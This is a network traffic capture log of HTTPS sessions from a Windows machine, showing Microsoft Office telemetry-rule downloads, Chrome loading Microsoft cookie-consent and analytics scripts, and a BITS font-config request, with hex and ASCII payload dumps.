2024-11-20 23:03:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:38 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230339Z-r1d97b99577n5jhbhC1TEB74vn00000009eg00000000hg7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230339Z-178bfbc474bfw4gbhC1NYCunf400000000r00000000040me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49820	13.107.246.45	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:40 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 23:03:40 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:40 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 14286 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1f729e99-f01e-00b6-687f-3b5f37000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T230340Z-r1d97b99577656nchC1TEBk98c00000009gg00000000m2nx Accept-Ranges: bytes
2024-11-20 23:03:40 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-20 23:03:41 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-20 23:03:41 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	49822	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:40 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 23:03:40 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=236470 Date: Wed, 20 Nov 2024 23:03:40 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 23:03:40 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:40 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230340Z-178bfbc474bwlrhlhC1NYCy3kg00000000fg00000000w1wg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49821	13.107.246.60	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:40 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 23:03:41 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:40 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T230340Z-1777c6cb754xlpjshC1TEBv8cc0000000aag00000000qg6k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 23:03:41 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
